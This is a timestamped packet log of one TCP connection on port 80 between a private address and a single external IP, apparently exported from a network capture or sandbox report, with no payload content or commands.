Dec 9, 2024 18:20:38.164309978 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.164357901 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.213082075 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.332618952 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.665010929 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.665162086 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.665170908 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.665226936 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.665537119 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.665586948 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.665719986 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.665761948 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.666460037 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.666500092 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.666554928 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.666620970 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.667491913 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.667546034 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.667609930 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.667650938 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.668391943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.668446064 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.668456078 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.668495893 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.669481993 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.669533968 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.669579029 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.669637918 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.670300007 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.670353889 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.670427084 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.670478106 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.671276093 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.671329021 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.671407938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.671457052 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.672322035 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.672370911 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.672554016 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.672601938 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.673485994 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.673535109 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.673790932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.673839092 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.674458027 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.674505949 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.674575090 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.674618959 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.675532103 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.675580025 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.675668001 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.675714970 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.676314116 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.676363945 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.812088013 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.812174082 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.812226057 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.812258959 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.812268019 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.812320948 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.812493086 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.812539101 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.813251972 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.813299894 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.813462973 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.813510895 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.814317942 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.814363956 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.814486980 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.814534903 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.815217018 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.815265894 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.815568924 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.815618992 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.816230059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.816277027 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.816432953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.816479921 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.817356110 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.817399025 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.817473888 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.817512989 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.818525076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.818572044 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.818645000 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.818685055 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.819355965 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.819405079 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.819427967 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.819470882 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.820171118 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.820219040 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.820319891 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.820369005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.821129084 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.821175098 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.821194887 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.821239948 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.822079897 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.822124004 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.822213888 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.822266102 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.823043108 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.823091984 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.823144913 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.823194027 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.823947906 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.823995113 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.824023008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.824069023 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.824902058 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.824948072 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.825094938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.825145006 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.825855970 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.825906992 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.825974941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.826021910 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.826848030 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.826895952 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.826972008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.827018976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.827831030 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.827879906 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.827934980 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.827980995 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.828769922 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.828820944 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.828897953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.828947067 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.829772949 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.829823971 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.829852104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.829895973 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.830745935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.830794096 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.830895901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.830940008 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.831703901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.831753016 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.831829071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.831875086 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.832699060 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.832772017 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.832799911 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.832847118 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.833736897 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.833784103 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.833810091 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.833853960 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.834696054 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.834742069 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.834849119 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.834894896 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.835724115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.835768938 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.835850954 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.835896015 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.836744070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.836790085 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.836838961 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.836886883 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.837570906 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.837620020 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.837693930 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.837742090 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.838551044 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.838594913 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.838710070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.838753939 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.839602947 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.839651108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.839718103 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.839761972 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.840601921 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.840651035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.840770006 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.840817928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.841537952 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.841586113 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.841695070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.841741085 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.842503071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.842551947 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.842631102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.842677116 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.843422890 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.843472004 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.843549013 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.843591928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.844396114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.844444036 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.844582081 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.844626904 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.845483065 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.845530987 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.845597982 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.845643997 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.846352100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.846395969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.846512079 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.846558094 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.847506046 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.847551107 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.847600937 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.847649097 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.848882914 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.848928928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.848997116 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.849045038 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.849875927 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.849926949 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.850058079 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.850126028 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.850853920 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.850903034 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.850981951 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.851032972 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.851741076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.851789951 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.851886988 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.851934910 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.852833986 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.852901936 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.853074074 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.853120089 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.854027033 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.854072094 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.854118109 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.854165077 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.854918957 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.854965925 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.855038881 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.855087042 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.855743885 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.855789900 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.855869055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.855916023 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.856700897 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.856750965 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.856775045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.856820107 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.900278091 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.900382042 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.900495052 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.900541067 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.900567055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.900609016 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.900779963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.900829077 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.901382923 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.901429892 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.901588917 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.901635885 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.902235985 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.902285099 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.902307034 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.902343035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.902992010 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.903038025 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.903099060 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.903145075 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.904028893 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.904076099 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.904196978 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.904242992 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.905348063 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.905395031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.905530930 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.905576944 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.905801058 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.905846119 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:38.905922890 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:38.905971050 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.011836052 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.011904001 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.011931896 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.011972904 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.012240887 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.012289047 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.012422085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.012470007 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.013173103 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.013221979 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.013392925 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.013442039 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.014194965 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.014242887 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.014683962 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.014730930 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.014756918 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.014797926 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.015444994 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.015489101 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.015553951 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.015588999 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.016417980 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.016460896 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.016535997 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.016577005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.017385006 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.017437935 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.017608881 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.017663956 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.018412113 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.018460989 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.018534899 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.018577099 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.019386053 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.019435883 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.019548893 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.019593000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.020335913 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.020384073 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.020467997 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.020512104 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.021274090 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.021317959 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.021392107 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.021435976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.022294044 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.022351027 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.022492886 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.022542953 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.023241997 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.023292065 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.023411989 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.023457050 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.024252892 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.024296045 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.024559975 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.024604082 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.025254011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.025296926 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.025453091 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.025496960 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.026182890 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.026226997 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.026282072 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.026324987 CET	49788	80	192.168.2.6	185.215.113.206
